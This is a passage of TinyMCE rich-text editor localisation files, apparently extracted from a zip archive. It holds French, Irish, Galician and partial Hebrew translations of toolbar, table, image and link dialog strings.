"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Le presse-papiers est
maintenant en mode \"texte plein\". Les contenus seront
coll\u00e9s sans retenir les formatages jusqu'\u00e0 ce que vous
d\u00e9sactiviez cette option.",
"Underline": "Soulign\u00e9",
"Cancel": "Annuler",
"Justify": "Justifier",
"Inline": "En ligne",
"Copy": "Copier",
"Align left": "Aligner \u00e0 gauche",
"Visual aids": "Aides visuelle",
"Lower Greek": "Grec minuscule",
"Square": "Carr\u00e9",
"Default": "Par d\u00e9faut",
"Lower Alpha": "Alpha minuscule",
"Circle": "Cercle",
"Disc": "Disque",
"Upper Alpha": "Alpha majuscule",
"Upper Roman": "Romain majuscule",
"Lower Roman": "Romain minuscule",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "L'Id doit commencer
par une lettre suivi par des lettres, nombres, tirets, points, deux-points
ou underscores",
"Name": "Nom",
"Anchor": "Ancre",
"Id": "Id",
"You have unsaved changes are you sure you want to navigate
away?": "Vous avez des modifications non enregistr\u00e9es,
\u00eates-vous s\u00fbr de quitter la page?",
"Restore last draft": "Restaurer le dernier brouillon",
"Special character": "Caract\u00e8res sp\u00e9ciaux",
"Source code": "Code source",
"Language": "Langue",
"Insert\/Edit code sample": "Ins\u00e9rer \/ modifier une
exemple de code",
"B": "B",
"R": "R",
"G": "V",
"Color": "Couleur",
"Right to left": "Droite \u00e0 gauche",
"Left to right": "Gauche \u00e0 droite",
"Emoticons": "Emotic\u00f4nes",
"Robots": "Robots",
"Document properties": "Propri\u00e9t\u00e9 du
document",
"Title": "Titre",
"Keywords": "Mots-cl\u00e9s",
"Encoding": "Encodage",
"Description": "Description",
"Author": "Auteur",
"Fullscreen": "Plein \u00e9cran",
"Horizontal line": "Ligne horizontale",
"Horizontal space": "Espacement horizontal",
"Insert\/edit image": "Ins\u00e9rer\/modifier une
image",
"General": "G\u00e9n\u00e9ral",
"Advanced": "Avanc\u00e9",
"Source": "Source",
"Border": "Bordure",
"Constrain proportions": "Conserver les proportions",
"Vertical space": "Espacement vertical",
"Image description": "Description de l'image",
"Style": "Style",
"Dimensions": "Dimensions",
"Insert image": "Ins\u00e9rer une image",
"Image": "Image",
"Zoom in": "Zoomer",
"Contrast": "Contraste",
"Back": "Retour",
"Gamma": "Gamma",
"Flip horizontally": "Retournement horizontal",
"Resize": "Redimensionner",
"Sharpen": "Affiner",
"Zoom out": "D\u00e9zoomer",
"Image options": "Options de l'image",
"Apply": "Appliquer",
"Brightness": "Luminosit\u00e9",
"Rotate clockwise": "Rotation horaire",
"Rotate counterclockwise": "Rotation anti-horaire",
"Edit image": "Modifier l'image",
"Color levels": "Niveaux de couleur",
"Crop": "Rogner",
"Orientation": "Orientation",
"Flip vertically": "Retournement vertical",
"Invert": "Inverser",
"Date\/time": "Date\/heure",
"Insert date\/time": "Ins\u00e9rer date\/heure",
"Remove link": "Enlever le lien",
"Url": "Url",
"Text to display": "Texte \u00e0 afficher",
"Anchors": "Ancres",
"Insert link": "Ins\u00e9rer un lien",
"Link": "Lien",
"New window": "Nouvelle fen\u00eatre",
"None": "n\/a",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "L'URL que vous avez
entr\u00e9e semble \u00eatre un lien externe. Voulez-vous ajouter le
pr\u00e9fixe http:\/\/ n\u00e9cessaire?",
"Paste or type a link": "Coller ou taper un lien",
"Target": "Cible",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "L'URL que vous avez
entr\u00e9e semble \u00eatre une adresse e-mail. Voulez-vous ajouter le
pr\u00e9fixe mailto: n\u00e9cessaire?",
"Insert\/edit link": "Ins\u00e9rer\/modifier un lien",
"Insert\/edit video": "Ins\u00e9rer\/modifier une
vid\u00e9o",
"Media": "M\u00e9dia",
"Alternative source": "Source alternative",
"Paste your embed code below:": "Collez votre code
d'int\u00e9gration ci-dessous :",
"Insert video": "Ins\u00e9rer une vid\u00e9o",
"Poster": "Publier",
"Insert\/edit media": "Ins\u00e9rer\/modifier un
m\u00e9dia",
"Embed": "Int\u00e9grer",
"Nonbreaking space": "Espace ins\u00e9cable",
"Page break": "Saut de page",
"Paste as text": "Coller comme texte",
"Preview": "Pr\u00e9visualiser",
"Print": "Imprimer",
"Save": "Enregistrer",
"Could not find the specified string.": "Impossible de
trouver la cha\u00eene sp\u00e9cifi\u00e9e.",
"Replace": "Remplacer",
"Next": "Suiv",
"Whole words": "Mots entiers",
"Find and replace": "Trouver et remplacer",
"Replace with": "Remplacer par",
"Find": "Chercher",
"Replace all": "Tout remplacer",
"Match case": "Respecter la casse",
"Prev": "Pr\u00e9c ",
"Spellcheck": "V\u00e9rification orthographique",
"Finish": "Finie",
"Ignore all": "Tout ignorer",
"Ignore": "Ignorer",
"Add to Dictionary": "Ajouter au dictionnaire",
"Insert row before": "Ins\u00e9rer une ligne avant",
"Rows": "Lignes",
"Height": "Hauteur",
"Paste row after": "Coller la ligne apr\u00e8s",
"Alignment": "Alignement",
"Border color": "Couleur de la bordure",
"Column group": "Groupe de colonnes",
"Row": "Ligne",
"Insert column before": "Ins\u00e9rer une colonne
avant",
"Split cell": "Diviser la cellule",
"Cell padding": "Espacement interne cellule",
"Cell spacing": "Espacement inter-cellulles",
"Row type": "Type de ligne",
"Insert table": "Ins\u00e9rer un tableau",
"Body": "Corps",
"Caption": "Titre",
"Footer": "Pied",
"Delete row": "Effacer la ligne",
"Paste row before": "Coller la ligne avant",
"Scope": "Etendue",
"Delete table": "Supprimer le tableau",
"H Align": "Alignement H",
"Top": "Haut",
"Header cell": "Cellule d'en-t\u00eate",
"Column": "Colonne",
"Row group": "Groupe de lignes",
"Cell": "Cellule",
"Middle": "Milieu",
"Cell type": "Type de cellule",
"Copy row": "Copier la ligne",
"Row properties": "Propri\u00e9t\u00e9s de la ligne",
"Table properties": "Propri\u00e9t\u00e9s du tableau",
"Bottom": "Bas",
"V Align": "Alignement V",
"Header": "En-t\u00eate",
"Right": "Droite",
"Insert column after": "Ins\u00e9rer une colonne
apr\u00e8s",
"Cols": "Colonnes",
"Insert row after": "Ins\u00e9rer une ligne
apr\u00e8s",
"Width": "Largeur",
"Cell properties": "Propri\u00e9t\u00e9s de la
cellule",
"Left": "Gauche",
"Cut row": "Couper la ligne",
"Delete column": "Effacer la colonne",
"Center": "Centr\u00e9",
"Merge cells": "Fusionner les cellules",
"Insert template": "Ajouter un th\u00e8me",
"Templates": "Th\u00e8mes",
"Background color": "Couleur d'arri\u00e8re-plan",
"Custom...": "Personnalis\u00e9...",
"Custom color": "Couleur personnalis\u00e9e",
"No color": "Aucune couleur",
"Text color": "Couleur du texte",
"Table of Contents": "Table des mati\u00e8res",
"Show blocks": "Afficher les blocs",
"Show invisible characters": "Afficher les caract\u00e8res
invisibles",
"Words: {0}": "Mots : {0}",
"Insert": "Ins\u00e9rer",
"File": "Fichier",
"Edit": "Editer",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Zone Texte Riche. Appuyer sur ALT-F9 pour
le menu. Appuyer sur ALT-F10 pour la barre d'outils. Appuyer sur ALT-0
pour de l'aide.",
"Tools": "Outils",
"View": "Voir",
"Table": "Tableau",
"Format": "Format"
});PKR��[�w�#$#$tinymce/langs/ga.jsnu�[���tinymce.addI18n('ga',{
"Cut": "Gearr",
"Heading 5": "Ceannteideal 5",
"Header 2": "Ceannt\u00e1sc 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"N\u00ed f\u00e9idir le do bhrabhs\u00e1la\u00ed teacht go
d\u00edreach ar an ngearrthaisce. Bain \u00fas\u00e1id as na
haicearra\u00ed Ctrl+X\/C\/V. ",
"Heading 4": "Ceannteideal 4",
"Div": "Deighilt",
"Heading 2": "Ceannteideal 2",
"Paste": "Greamaigh",
"Close": "D\u00fan",
"Font Family": "Cl\u00f3fhoireann",
"Pre": "R\u00e9amh",
"Align right": "Ail\u00ednigh ar dheis",
"New document": "C\u00e1ip\u00e9is nua",
"Blockquote": "Athfhriotal",
"Numbered list": "Liosta Uimhrithe",
"Heading 1": "Ceannteideal 1",
"Headings": "Ceannteidil",
"Increase indent": "M\u00e9adaigh eang",
"Formats": "Form\u00e1id\u00ed",
"Headers": "Ceannt\u00e1sca",
"Select all": "Roghnaigh uile",
"Header 3": "Ceannt\u00e1sc 3",
"Blocks": "Blocanna",
"Undo": "Cealaigh",
"Strikethrough": "L\u00edne tr\u00edd",
"Bullet list": "Liosta Urchar",
"Header 1": "Ceannt\u00e1sc 1",
"Superscript": "Forscript",
"Clear formatting": "Glan form\u00e1idi\u00fa",
"Font Sizes": "Cl\u00f3mh\u00e9ideanna",
"Subscript": "Foscript",
"Header 6": "Ceannt\u00e1sc 6",
"Redo": "Athdh\u00e9an",
"Paragraph": "Alt",
"Ok": "OK",
"Bold": "Trom",
"Code": "C\u00f3d",
"Italic": "Iod\u00e1lach",
"Align center": "Ail\u00ednigh sa l\u00e1r",
"Header 5": "Ceannt\u00e1sc 5",
"Heading 6": "Ceannteideal 6",
"Heading 3": "Ceannteideal 3",
"Decrease indent": "Laghdaigh eang",
"Header 4": "Ceannt\u00e1sc 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Sa m\u00f3d
gn\u00e1th-th\u00e9acs anois. Gream\u00f3far \u00e1bhar mar
ghn\u00e1th-th\u00e9acs go dt\u00ed go m\u00fachfaidh t\u00fa an rogha
seo.",
"Underline": "Fol\u00edne",
"Cancel": "Cealaigh",
"Justify": "Comhfhadaigh",
"Inline": "Inl\u00edne",
"Copy": "C\u00f3ipe\u00e1il",
"Align left": "Ail\u00ednigh ar chl\u00e9",
"Visual aids": "\u00c1iseanna amhairc",
"Lower Greek": "Litir Bheag Ghr\u00e9agach",
"Square": "Cearn\u00f3g",
"Default": "R\u00e9amhshocr\u00fa",
"Lower Alpha": "Alfa Beag",
"Circle": "Ciorcal",
"Disc": "Diosca",
"Upper Alpha": "Alfa M\u00f3r",
"Upper Roman": "Litir Mh\u00f3r R\u00f3mh\u00e1nach",
"Lower Roman": "Litir Bheag R\u00f3mh\u00e1nach",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "N\u00ed m\u00f3r don
aitheantas tos\u00fa le litir, agus gan ach litreacha, uimhreacha,
daiseanna, poncanna, idirstadanna, n\u00f3 fostr\u00edoca ina dhiaidh
sin.",
"Name": "Ainm",
"Anchor": "Ancaire",
"Id": "Aitheantas",
"You have unsaved changes are you sure you want to navigate
away?": "T\u00e1 athruithe gan s\u00e1bh\u00e1il ann. An bhfuil
t\u00fa cinnte gur mhaith leat imeacht amach as seo?",
"Restore last draft": "Oscail an dr\u00e9acht is
d\u00e9ana\u00ed",
"Special character": "Carachtar speisialta",
"Source code": "C\u00f3d foinseach",
"Language": "Teanga",
"Insert\/Edit code sample": "Cuir sampla c\u00f3id
isteach\/in eagar",
"B": "G",
"R": "D",
"G": "U",
"Color": "Dath",
"Right to left": "Deas-go-cl\u00e9",
"Left to right": "Cl\u00e9-go-deas",
"Emoticons": "Straoiseoga",
"Robots": "R\u00f3bait",
"Document properties": "Air\u00edonna na
C\u00e1ip\u00e9ise",
"Title": "Teideal",
"Keywords": "Lorgfhocail",
"Encoding": "Ionch\u00f3d\u00fa",
"Description": "Cur S\u00edos",
"Author": "\u00dadar",
"Fullscreen": "L\u00e1nsc\u00e1ile\u00e1n",
"Horizontal line": "L\u00edne chothrom\u00e1nach",
"Horizontal space": "Sp\u00e1s cothrom\u00e1nach",
"Insert\/edit image": "Cuir \u00edomh\u00e1 isteach\/in
eagar",
"General": "Ginear\u00e1lta",
"Advanced": "Casta",
"Source": "Foinse",
"Border": "Iml\u00edne",
"Constrain proportions": "Comhr\u00e9ir faoi ghlas",
"Vertical space": "Sp\u00e1s ingearach",
"Image description": "Cur s\u00edos ar an
\u00edomh\u00e1",
"Style": "St\u00edl",
"Dimensions": "Tois\u00ed",
"Insert image": "Cuir \u00edomh\u00e1 isteach",
"Image": "\u00cdomh\u00e1",
"Zoom in": "Z\u00fam\u00e1il isteach",
"Contrast": "Codarsnacht",
"Back": "Siar",
"Gamma": "G\u00e1ma",
"Flip horizontally": "Cas go cothrom\u00e1nach",
"Resize": "Athraigh m\u00e9id",
"Sharpen": "G\u00e9araigh",
"Zoom out": "Z\u00fam\u00e1il amach",
"Image options": "Roghanna \u00edomh\u00e1",
"Apply": "Cuir i bhfeidhm",
"Brightness": "Gile",
"Rotate clockwise": "Rothlaigh ar deiseal",
"Rotate counterclockwise": "Rothlaigh ar tuathal",
"Edit image": "Cuir an \u00edomh\u00e1 in eagar",
"Color levels": "Leibh\u00e9il datha",
"Crop": "Bear",
"Orientation": "Treoshu\u00edomh",
"Flip vertically": "Cas go hingearach",
"Invert": "Inbh\u00e9artaigh",
"Date\/time": "D\u00e1ta\/am",
"Insert date\/time": "Cuir d\u00e1ta\/am isteach",
"Remove link": "Bain an nasc",
"Url": "URL",
"Text to display": "T\u00e9acs le taispe\u00e1int",
"Anchors": "Ancair\u00ed",
"Insert link": "Cuir nasc isteach",
"Link": "Nasc",
"New window": "Fuinneog nua",
"None": "Dada",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "Is nasc seachtrach \u00e9 an
URL a chuir t\u00fa isteach. An bhfuil fonn ort an r\u00e9im\u00edr
riachtanach http:\/\/ a chur leis?",
"Paste or type a link": "Greamaigh n\u00f3
cl\u00f3scr\u00edobh nasc",
"Target": "Sprioc",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "Is seoladh r\u00edomhphoist
\u00e9 an URL a chuir t\u00fa isteach. An bhfuil fonn ort an
r\u00e9im\u00edr riachtanach mailto: a chur leis?",
"Insert\/edit link": "Cuir nasc isteach\/in eagar",
"Insert\/edit video": "Cuir f\u00edse\u00e1n isteach\/in
eagar",
"Media": "Me\u00e1in",
"Alternative source": "Foinse mhalartach",
"Paste your embed code below:": "Greamaigh do ch\u00f3d
leabaithe th\u00edos:",
"Insert video": "Cuir f\u00edse\u00e1n isteach",
"Poster": "P\u00f3staer",
"Insert\/edit media": "Cuir me\u00e1n isteach\/in
eagar",
"Embed": "Leabaigh",
"Nonbreaking space": "Sp\u00e1s neamhbhristeach",
"Page break": "Briseadh leathanaigh",
"Paste as text": "Greamaigh mar th\u00e9acs",
"Preview": "R\u00e9amhamharc",
"Print": "Priont\u00e1il",
"Save": "S\u00e1bh\u00e1il",
"Could not find the specified string.": "N\u00edor
aims\u00edodh an teaghr\u00e1n.",
"Replace": "Ionadaigh",
"Next": "Ar aghaidh",
"Whole words": "Focail ioml\u00e1na",
"Find and replace": "Aimsigh agus ionadaigh",
"Replace with": "Ionadaigh le",
"Find": "Aimsigh",
"Replace all": "Ionadaigh uile",
"Match case": "C\u00e1s-\u00edogair",
"Prev": "Siar",
"Spellcheck": "Seice\u00e1il an litri\u00fa",
"Finish": "Cr\u00edochnaigh",
"Ignore all": "D\u00e9an neamhaird orthu go l\u00e9ir",
"Ignore": "D\u00e9an neamhaird air",
"Add to Dictionary": "Cuir leis an bhFocl\u00f3ir
\u00e9",
"Insert row before": "Ions\u00e1igh r\u00f3 os a
chionn",
"Rows": "R\u00f3nna",
"Height": "Airde",
"Paste row after": "Greamaigh r\u00f3 faoi",
"Alignment": "Ail\u00edni\u00fa",
"Border color": "Dath na himl\u00edne",
"Column group": "Gr\u00fapa col\u00fan",
"Row": "R\u00f3",
"Insert column before": "Ions\u00e1igh col\u00fan ar
chl\u00e9",
"Split cell": "Roinn cill",
"Cell padding": "Stu\u00e1il ceall",
"Cell spacing": "Sp\u00e1s\u00e1il ceall",
"Row type": "Cine\u00e1l an r\u00f3",
"Insert table": "Ions\u00e1igh t\u00e1bla",
"Body": "Corp",
"Caption": "Fotheideal",
"Footer": "Bunt\u00e1sc",
"Delete row": "Scrios an r\u00f3",
"Paste row before": "Greamaigh r\u00f3 os a chionn",
"Scope": "Sc\u00f3ip",
"Delete table": "Scrios an t\u00e1bla",
"H Align": "Ail\u00edni\u00fa C.",
"Top": "Barr",
"Header cell": "Cill cheannt\u00e1isc",
"Column": "Col\u00fan",
"Row group": "Gr\u00fapa r\u00f3nna",
"Cell": "Cill",
"Middle": "L\u00e1r",
"Cell type": "Cine\u00e1l na cille",
"Copy row": "C\u00f3ipe\u00e1il an r\u00f3",
"Row properties": "Air\u00edonna an r\u00f3",
"Table properties": "Air\u00edonna an t\u00e1bla",
"Bottom": "Bun",
"V Align": "Ail\u00edni\u00fa I.",
"Header": "Ceannt\u00e1sc",
"Right": "Ar Dheis",
"Insert column after": "Ions\u00e1igh col\u00fan ar
dheis",
"Cols": "Col\u00fain",
"Insert row after": "Ions\u00e1igh r\u00f3 faoi",
"Width": "Leithead",
"Cell properties": "Air\u00edonna na cille",
"Left": "Ar Chl\u00e9",
"Cut row": "Gearr an r\u00f3",
"Delete column": "Scrios an col\u00fan",
"Center": "Sa L\u00e1r",
"Merge cells": "Cumaisc cealla",
"Insert template": "Ions\u00e1igh teimpl\u00e9ad",
"Templates": "Teimpl\u00e9id",
"Background color": "Dath an ch\u00falra",
"Custom...": "Saincheap...",
"Custom color": "Dath saincheaptha",
"No color": "Gan dath",
"Text color": "Dath an t\u00e9acs",
"Table of Contents": "Cl\u00e1r na n\u00c1bhar",
"Show blocks": "Taispe\u00e1in blocanna",
"Show invisible characters": "Taispe\u00e1in carachtair
dhofheicthe",
"Words: {0}": "Focail: {0}",
"Insert": "Ions\u00e1ig",
"File": "Comhad",
"Edit": "Eagar",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Limist\u00e9ar M\u00e9ith-Th\u00e9acs.
Br\u00faigh ALT-F9 le haghaidh roghchl\u00e1ir, ALT-F10 le haghaidh barra
uirlis\u00ed, agus ALT-0 le c\u00fanamh a fh\u00e1il",
"Tools": "Uirlis\u00ed",
"View": "Amharc",
"Table": "T\u00e1bla",
"Format": "Form\u00e1id"
});PKR��[�=7FBBtinymce/langs/gl.jsnu�[���tinymce.addI18n('gl',{
"Cut": "Cortar",
"Header 2": "Cabeceira 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "O seu
navegador non admite o acceso directo ao portapapeis. Empregue os atallos
de teclado Ctrl+X\/C\/V no seu canto.",
"Div": "Div",
"Paste": "Pegar",
"Close": "Pechar",
"Font Family": "Tipo de letra",
"Pre": "Pre",
"Align right": "Ali\u00f1ar \u00e1 dereita",
"New document": "Novo documento",
"Blockquote": "Bloque entre comi\u00f1as",
"Numbered list": "Lista numerada",
"Increase indent": "Aumentar a sangr\u00eda",
"Formats": "Formatos",
"Headers": "Cabeceiras",
"Select all": "Seleccionar todo",
"Header 3": "Cabeceira 3",
"Blocks": "Bloques",
"Undo": "Desfacer",
"Strikethrough": "Riscado",
"Bullet list": "Lista de vi\u00f1etas",
"Header 1": "Cabeceira 1",
"Superscript": "Super\u00edndice",
"Clear formatting": "Limpar o formato",
"Font Sizes": "Tama\u00f1o da letra",
"Subscript": "Sub\u00edndice",
"Header 6": "Cabeceira 6",
"Redo": "Refacer",
"Paragraph": "Par\u00e1grafo",
"Ok": "Aceptar",
"Bold": "Negra",
"Code": "C\u00f3digo",
"Italic": "Cursiva",
"Align center": "Ali\u00f1ar ao centro",
"Header 5": "Cabeceira 5",
"Decrease indent": "Reducir a sangr\u00eda",
"Header 4": "Cabeceira 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Neste momento o pegado
est\u00e1 definido en modo de texto simple. Os contidos p\u00e9garanse como
texto sen formato ata que se active esta opci\u00f3n.",
"Underline": "Subli\u00f1ado",
"Cancel": "Cancelar",
"Justify": "Xustificar",
"Inline": "En li\u00f1a",
"Copy": "Copiar",
"Align left": "Ali\u00f1ar \u00e1 esquerda",
"Visual aids": "Axudas visuais",
"Lower Greek": "Grega min\u00fascula",
"Square": "Cadrado",
"Default": "Predeterminada",
"Lower Alpha": "Alfa min\u00fascula",
"Circle": "Circulo",
"Disc": "Disco",
"Upper Alpha": "Alfa mai\u00fascula",
"Upper Roman": "Romana mai\u00fascula",
"Lower Roman": "Romana min\u00fascula",
"Name": "Nome",
"Anchor": "Ancoraxe",
"You have unsaved changes are you sure you want to navigate
away?": "Ten cambios sen gardar. Confirma que quere
sa\u00edr?",
"Restore last draft": "Restaurar o \u00faltimo
borrador",
"Special character": "Car\u00e1cter especial",
"Source code": "C\u00f3digo fonte",
"Right to left": "De dereita a esquerda",
"Left to right": "De esquerda a dereita",
"Emoticons": "Emoticonas",
"Robots": "Robots",
"Document properties": "Propiedades do documento",
"Title": "T\u00edtulo",
"Keywords": "Palabras clave",
"Encoding": "Codificaci\u00f3n",
"Description": "Descrici\u00f3n",
"Author": "Autor",
"Fullscreen": "Pantalla completa",
"Horizontal line": "Li\u00f1a horizontal",
"Horizontal space": "Espazo horizontal",
"Insert\/edit image": "Inserir\/editar imaxe",
"General": "Xeral",
"Advanced": "Avanzado",
"Source": "Orixe",
"Border": "Bordo",
"Constrain proportions": "Restrinxir as
proporci\u00f3ns",
"Vertical space": "Espazo vertical",
"Image description": "Descrici\u00f3n da imaxe",
"Style": "Estilo",
"Dimensions": "Dimensi\u00f3ns",
"Insert image": "Inserir imaxe",
"Insert date\/time": "Inserir data\/hora",
"Remove link": "Retirar a ligaz\u00f3n",
"Url": "URL",
"Text to display": "Texto que amosar",
"Anchors": "Ancoraxes",
"Insert link": "Inserir ligaz\u00f3n",
"New window": "Nova xanela",
"None": "Ning\u00fan",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "The URL you entered seems to be
an external link. Do you want to add the required http:\/\/ prefix?",
"Target": "Destino",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "The URL you entered seems to be
an email address. Do you want to add the required mailto: prefix?",
"Insert\/edit link": "Inserir\/editar ligaz\u00f3n",
"Insert\/edit video": "Inserir\/editar v\u00eddeo",
"Poster": "Cartel",
"Alternative source": "Orixe alternativa",
"Paste your embed code below:": "Pegue embaixo o c\u00f3digo
integrado:",
"Insert video": "Inserir v\u00eddeo",
"Embed": "Integrado",
"Nonbreaking space": "Espazo irromp\u00edbel",
"Page break": "Quebra de p\u00e1xina",
"Paste as text": "Pegar como texto",
"Preview": "Vista previa",
"Print": "Imprimir",
"Save": "Gardar",
"Could not find the specified string.": "Non foi
pos\u00edbel atopar a cadea de texto especificada.",
"Replace": "Substitu\u00edr",
"Next": "Seguinte",
"Whole words": "Palabras completas",
"Find and replace": "Buscar e substitu\u00edr",
"Replace with": "Substitu\u00edr con",
"Find": "Buscar",
"Replace all": "Substitu\u00edr todo",
"Match case": "Distinguir mai\u00fasculas",
"Prev": "Anterior",
"Spellcheck": "Corrector ortogr\u00e1fico",
"Finish": "Rematar",
"Ignore all": "Ignorar todo",
"Ignore": "Ignorar",
"Insert row before": "Inserir unha fila enriba",
"Rows": "Filas",
"Height": "Alto",
"Paste row after": "Pegar fila enriba",
"Alignment": "Ali\u00f1amento",
"Column group": "Grupo de columnas",
"Row": "Fila",
"Insert column before": "Inserir columna \u00e1
esquerda",
"Split cell": "Dividir celas",
"Cell padding": "Marxe interior da cela",
"Cell spacing": "Marxe entre celas",
"Row type": "Tipo de fila",
"Insert table": "Inserir t\u00e1boa",
"Body": "Corpo",
"Caption": "Subt\u00edtulo",
"Footer": "Rodap\u00e9",
"Delete row": "Eliminar fila",
"Paste row before": "Pegar fila embaixo",
"Scope": "\u00c1mbito",
"Delete table": "Eliminar t\u00e1boa",
"Header cell": "Cela de cabeceira",
"Column": "Columna",
"Cell": "Cela",
"Header": "Cabeceira",
"Cell type": "Tipo de cela",
"Copy row": "Copiar fila",
"Row properties": "Propiedades das filas",
"Table properties": "Propiedades da t\u00e1boa",
"Row group": "Grupo de filas",
"Right": "Dereita",
"Insert column after": "Inserir columna \u00e1
dereita",
"Cols": "Cols.",
"Insert row after": "Inserir unha fila embaixo",
"Width": "Largo",
"Cell properties": "Propiedades da cela",
"Left": "Esquerda",
"Cut row": "Cortar fila",
"Delete column": "Eliminar columna",
"Center": "Centro",
"Merge cells": "Combinar celas",
"Insert template": "Inserir modelo",
"Templates": "Modelos",
"Background color": "Cor do fondo",
"Text color": "Cor do texto",
"Show blocks": "Amosar os bloques",
"Show invisible characters": "Amosar caracteres
invis\u00edbeis",
"Words: {0}": "Palabras: {0}",
"Insert": "Inserir",
"File": "Ficheiro",
"Edit": "Editar",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "\u00c1rea de texto mellorado. Prema
ALT-F9 para o men\u00fa. Prema ALT-F10 para a barra de ferramentas. Prema
ALT-0 para a axuda",
"Tools": "Ferramentas",
"View": "Ver",
"Table": "T\u00e1boa",
"Format": "Formato"
});PKR��[�
��P3P3tinymce/langs/he.jsnu�[���tinymce.addI18n('he',{
"Cut": "\u05d2\u05d6\u05d5\u05e8",
"Header 2": "\u05db\u05d5\u05ea\u05e8\u05ea 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\u05d4\u05d3\u05e4\u05d3\u05e4\u05df \u05e9\u05dc\u05da
\u05d0\u05d9\u05e0\u05d5 \u05de\u05d0\u05e4\u05e9\u05e8
\u05d2\u05d9\u05e9\u05d4 \u05d9\u05e9\u05d9\u05e8\u05d4
\u05dc\u05dc\u05d5\u05d7. \u05d0\u05e0\u05d0 \u05d4\u05e9\u05ea\u05de\u05e9
\u05d1\u05e7\u05d9\u05e6\u05d5\u05e8\u05d9
\u05d4\u05de\u05e7\u05dc\u05d3\u05ea Ctrl+X\/C\/V
\u05d1\u05de\u05e7\u05d5\u05dd.",
"Div": "\u05de\u05e7\u05d8\u05e2 \u05e7\u05d5\u05d3
Div",
"Paste": "\u05d4\u05d3\u05d1\u05e7",
"Close": "\u05e1\u05d2\u05d5\u05e8",
"Font Family": "\u05e1\u05d5\u05d2
\u05d2\u05d5\u05e4\u05df",
"Pre": "\u05e7\u05d8\u05e2 \u05de\u05e7\u05d3\u05d9\u05dd
Pre",
"Align right": "\u05d9\u05d9\u05e9\u05e8
\u05dc\u05e9\u05de\u05d0\u05dc",
"New document": "\u05de\u05e1\u05de\u05da
\u05d7\u05d3\u05e9",
"Blockquote": "\u05de\u05e7\u05d8\u05e2
\u05e6\u05d9\u05d8\u05d5\u05d8",
"Numbered list": "\u05e8\u05e9\u05d9\u05de\u05d4
\u05de\u05de\u05d5\u05e1\u05e4\u05e8\u05ea",
"Increase indent": "\u05d4\u05d2\u05d3\u05dc
\u05d4\u05d6\u05d7\u05d4",
"Formats":
"\u05e4\u05d5\u05e8\u05de\u05d8\u05d9\u05dd",
"Headers": "\u05db\u05d5\u05ea\u05e8\u05d5\u05ea",
"Select all": "\u05d1\u05d7\u05e8 \u05d4\u05db\u05dc",
"Header 3": "\u05db\u05d5\u05ea\u05e8\u05ea 3",
"Blocks": "\u05de\u05d1\u05e0\u05d9\u05dd",
"Undo": "\u05d1\u05d8\u05dc
\u05e4\u05e2\u05d5\u05dc\u05d4",
"Strikethrough": "\u05e7\u05d5
\u05d7\u05d5\u05e6\u05d4",
"Bullet list": "\u05e8\u05e9\u05d9\u05de\u05ea
\u05ea\u05d1\u05dc\u05d9\u05d8\u05d9\u05dd",
"Header 1": "\u05db\u05d5\u05ea\u05e8\u05ea 1",
"Superscript": "\u05db\u05ea\u05d1
\u05e2\u05d9\u05dc\u05d9",
"Clear formatting": "\u05e0\u05e7\u05d4
\u05e4\u05d5\u05e8\u05de\u05d8\u05d9\u05dd",
"Font Sizes": "\u05d2\u05d5\u05d3\u05dc
\u05d2\u05d5\u05e4\u05df",
"Subscript": "\u05db\u05ea\u05d1
\u05ea\u05d7\u05ea\u05d9",
"Header 6": "\u05db\u05d5\u05ea\u05e8\u05ea 6",
"Redo": "\u05d1\u05e6\u05e2 \u05e9\u05d5\u05d1",
"Paragraph": "\u05e4\u05d9\u05e1\u05e7\u05d4",
"Ok": "\u05d0\u05d9\u05e9\u05d5\u05e8",
"Bold": "\u05de\u05d5\u05d3\u05d2\u05e9",
"Code": "\u05e7\u05d5\u05d3",
"Italic": "\u05e0\u05d8\u05d5\u05d9",
"Align center": "\u05de\u05e8\u05db\u05d6",
"Header 5": "\u05db\u05d5\u05ea\u05e8\u05ea 5",
"Decrease indent": "\u05d4\u05e7\u05d8\u05df
\u05d4\u05d6\u05d7\u05d4",
"Header 4": "\u05db\u05d5\u05ea\u05e8\u05ea 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.":
"\u05d4\u05d3\u05d1\u05e7\u05d4 \u05d1\u05de\u05e6\u05d1
\u05d8\u05e7\u05e1\u05d8 \u05e8\u05d2\u05d9\u05dc.
\u05ea\u05db\u05e0\u05d9\u05dd \u05d9\u05d5\u05d3\u05d1\u05e7\u05d5
\u05de\u05e2\u05ea\u05d4 \u05db\u05d8\u05e7\u05e1\u05d8
\u05e8\u05d2\u05d9\u05dc \u05e2\u05d3 \u05e9\u05ea\u05db\u05d1\u05d4
\u05d0\u05e4\u05e9\u05e8\u05d5\u05ea \u05d6\u05d5.",
"Underline": "\u05e7\u05d5 \u05ea\u05d7\u05ea\u05d9",
"Cancel": "\u05d1\u05d8\u05dc",
"Justify": "\u05de\u05ea\u05d7
\u05dc\u05e6\u05d3\u05d3\u05d9\u05dd",
"Inline": "\u05d1\u05d2\u05d5\u05e3
\u05d4\u05d8\u05e7\u05e1\u05d8",
"Copy": "\u05d4\u05e2\u05ea\u05e7",
